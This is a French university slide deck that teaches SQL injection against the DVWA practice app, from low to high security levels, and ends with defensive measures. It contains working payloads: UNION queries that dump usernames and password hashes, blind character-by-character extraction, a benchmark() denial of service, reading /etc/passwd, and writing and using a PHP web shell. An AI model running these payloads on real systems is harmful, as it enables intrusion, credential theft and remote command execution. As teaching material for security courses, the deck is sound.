# Injection SQL ## aka SQLi  <i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i> <small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> ### <i class="fa fa-cogs"></i> SQLi * envoie de données à un interpréteur * l'attaquant envoie des séquences de texte malicieuses permettant d'exploiter l'interpréteur visé (**payload**) * toute source de données peut être utilisées * paramètres HTTP, PATH_INFO,`cookies, en-têtes HTTP, fichiers uploadés * au niveau de la requête [et de la réponse <i class="fab fa-reddit"></i>](http://i.imgur.com/8khrzf9.png) ### <i class="fas fa-ice-cream"></i> SQLi / types * [topologie](https://www.linkedin.com/grp/post/36874-130061102) * [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) * cas simple où les messages d'erreur base de données sont affichés * [SQL Injection (Blind)](https://owasp.org/www-community/attacks/Blind_SQL_Injection) * cas plus complexe où les messages d'erreur base de données **ne** sont **pas** accessibles * Un comportement différent selon que la **payload** est exécutée ou non ### <i class="fa-solid fa-bomb"></i> SQLi / payloads * lire des données "protégées" * corrompre des données * dénis de services * lecture / écriture sur le système de fichiers * exécution de commandes arbitraires ### <i class="fa-solid fa-bomb"></i> SQLi / low * détectable en tentant les caractères d'échappement **"** ou **'** en <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27&Submit=Submit#)</small> * L'idée est d'utiliser les commentaires **#** ou **--** pour terminer prématurément l'exécution du SQL ``` User ID: ' OR 1=1 # ``` * affiche la liste de tous les utilisateurs <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#)</small> <i class="fa-solid fa-bullseye"></i> on cherche les mots de passe des utilisateurs ### <i class="fa-solid fa-bomb"></i> SQLi / low déterminer le nombre de paramètres de la requêtes ``` User ID: ' OR 1=1 ORDER BY 1 # ``` <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#)</small> <small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#)</small> <i class="fa-solid fa-trophy"></i> il y a 2 champs dans la clause SELECT ### <i class="fa-solid fa-bomb"></i> SQLi / low repérer qui est qui? ``` User ID: 6' UNION SELECT 1,2 # ``` ``` First name: 1 Surname: 2 ``` afficher la base de données et l'utilisateur courant ``` User ID: 6' UNION SELECT database(),current_user() # ``` ``` First name: dvwa Surname: dvwa@localhost ``` <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#)</small> <i class="fa-solid fa-book-skull"></i> **UNION** ou **Cross table** ### <i class="fa-solid fa-bomb"></i> SQLi / low afficher toutes les tables de la base de données `dvwa` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html) ``` User ID: 6' UNION SELECT table_name,2 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'dvwa' # ``` <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+table_name%2C2+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small> ### <i class="fa-solid fa-bomb"></i> SQLi / low afficher les noms de colonnes de la tables `users` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html) ``` User ID: 6' UNION SELECT column_name,2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'dvwa' # ``` <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+column_name%2C2++++FROM+INFORMATION_SCHEMA.COLUMNS++++WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small> ### <i class="fa-solid fa-bomb"></i> SQLi / low afficher les champs `user` & `password` de la table `users` ``` User ID: 6' UNION SELECT user,password FROM users # ``` <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#)</small> <i class="fa-solid fa-screwdriver-wrench"></i> [crackstation.net](https://crackstation.net/) pour une **rainbow attack** ou attaque par **tables arc-en-ciel** ### <i class="fa-solid fa-bomb"></i> SQLi / medium  détection ``` User ID: ' OR 1=1 # ``` <i class="fa-solid fa-circle-xmark"></i> a priori les **'** sont échappés ### <i class="fa-solid fa-bomb"></i> SQLi / medium ``` User ID: 1 OR 1=1 # ``` <i class="fas fa-circle-check"></i> le paramètre id est un entier reprendre les étapes SQLi / low en remplacant ``` User ID: 6' ... # ``` <i class="fa-solid fa-arrow-right-arrow-left"></i> ``` User ID: 6 ... # ``` <small> `TABLE_SCHEMA = 'dvwa'` <i class="fa-solid fa-arrow-right-arrow-left"></i> `TABLE_SCHEMA = CHAR(100,118,119,97)` </small> ### <i class="fa-solid fa-bomb"></i> SQLi / high Toutes la séquence SQLi / low est valide ### <i class="fa-solid fa-bomb"></i> Blind SQLi / low * plus de message d'erreur * plus d'affichage des champs * identifier les comportements ``` User ID: 1 ``` ``` User ID exists in the database. ``` ``` User ID: 6 ``` ``` User ID is MISSING from the database. ``` ### <i class="fa-solid fa-bomb"></i> Blind SQLi / low * identifier les comportements * on sait que l'utilisateur 1 existe ``` User ID: 1' AND '1' = '2' # ``` ``` User ID is MISSING from the database. ``` ``` User ID: 1' AND '1' = '1' # ``` ``` User ID exists in the database. ``` <i class="fa-solid fa-trophy"></i> il y a une injection ### <i class="fa-solid fa-bomb"></i> Blind SQLi / low déterminer le nom de la base de données ``` 1' AND ORD(MID(DATABASE(),1,1)) = 100 # ``` * `DATABASE()` : renvoie la chaîne "dvwa" * `MID(DATABASE(),1,1)` : renvoie le première caractère de la chaîne retournée par `DATABASE()` * `ORD()` : renvoie l'équivalent décimal du caractère en paramètre ### <i class="fa-solid fa-bomb"></i> Blind SQLi / low déterminer le nombre de caractère dans le nom de la base de données ``` 1' AND LENGTH(DATABASE()) = 4 # ``` déterminer le nom de la base de données ``` 1' AND ORD(MID(DATABASE(),1,1)) = 100 # d 1' AND ORD(MID(DATABASE(),2,1)) = 118 # v 1' AND ORD(MID(DATABASE(),3,1)) = 119 # w 1' AND ORD(MID(DATABASE(),4,1)) = 97 # a ``` ## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) ```http http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, benchmark(5000000, encode('MSG', 'pass-phrase')) FROM users#&Submit=Submit ``` * chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe * DoS * utile pour les vraies blind SQLi ## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) ```http http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, LOAD_FILE("/etc/passwd")#&Submit=Submit ``` affiche toutes le contenu du fichier /etc/passwd ```http http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit ``` écriture du fichier shell.php dans le système de fichiers ```http http://dv.wa/hackable/uploads/shell.php?cmd=ls ``` execution de commandes systèmes avec les privilèges du thread apache ## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) <i class="fa fa-exclamation-circle"></i> le code vulnérable a changé entre low et medium * utilisation de la fonction [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php) * ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, \, ', " et \x1a. * contournable en appliquant l'encodage HTTP (HTML URL Encoding) aux caractères injectés ## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) ```http $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; ``` devient ```http $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; ``` ## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) donc l'injection du niveau low ```http ' OR user_id > 0# ``` devient pour fonctionner au niveau medium ```http 1 OR user_id > 0# ``` devient une fois encodée ```http 1%20OR%20user_id%20%3E%200 ``` et s'injecte directement via l'url ```http http://dv.wa/vulnerabilities/sqli/?id=1%20OR%20user_id%20%3E%200&Submit=Submit ``` Note: - à saisir directement dans l'url - utiliser plutôt l'encoder de burp - sinon hackbar à comparer - https://www.information-security.fr/dvwa-sql-injection-solutions-protections/ ## [SQLmap](http://sqlmap.org/) * Fait tous le boulot à votre palce * une ligne de commmande * affiche des résultats propres * abstrait * le moteur de base de données * les différentes techniques d'injections ```http sqlmap --url "http://dv.wa/vulnerabilities/sqli/?id=1&Submit=Submit#;" --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" --tables ``` <i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session ### [<i class="fa fa-check-square"></i> SQLi (Blind) - security low](http://dv.wa/vulnerabilities/sqli_blind/) * on se concentre sur le user 1337 (id=3) * on cherche à deviner son mot de passe ```http http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE 'a%'#&Submit=Submit ``` n'affiche rien!! en revanche ```http http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE '8%'#&Submit=Submit ``` affiche ``` ID: 3' AND password LIKE '8% First name: Hack Surname: Me ``` ## <i class="fa fa-eye-slash"></i> [True Blind SQL Injection](https://www.owasp.org/index.php/Blind_SQL_Injection) * Si aucun output n'est disponible * on ajoute du calcul artificiellement * la **payload** est exécutée * le temps de réponse = temps de traitement + temps de calcul artificiel * la **payload** n'est pas exécutée * le temps de réponse = temps de traitement problématique similaire à une booléenne Note: - discussion sur les vraies blind - in fine même problème une fois scripter ## <i class="fa fa-medkit"></i> Se préserver * [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php) * Utiliser des requêtes préparées * PDO, ORM : Doctrine2, Propel * Être le plus silencieux possibles quant aux requêtes invalides * [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php) * [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php) * repérer les requêtes suspectes dans les logs Note: - TODO regarder si les messages sont désactiables à partir de MySQL ## <i class="fa fa-medkit"></i> Se préserver * Filtrage par listes blanches * caster * [intval()](http://php.net/manual/fr/function.intval.php), [floatval()](http://php.net/manual/fr/function.floatval.php), ... * si l'id est toujours un entier ... * échappement des paramètres de requêtes * [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php) ## <i class="fa fa-medkit"></i> Se préserver * Web Application Firewall (WAF) * [mod_security](https://www.modsecurity.org/) * log le POST * <i class="fa fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html) * Les privilèges de l'utilisateur SQL ont un sens * [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file) * attention aux permissions sur la base de données * information_schema ... * Changer les préfixes de table des CMS quand c'est possible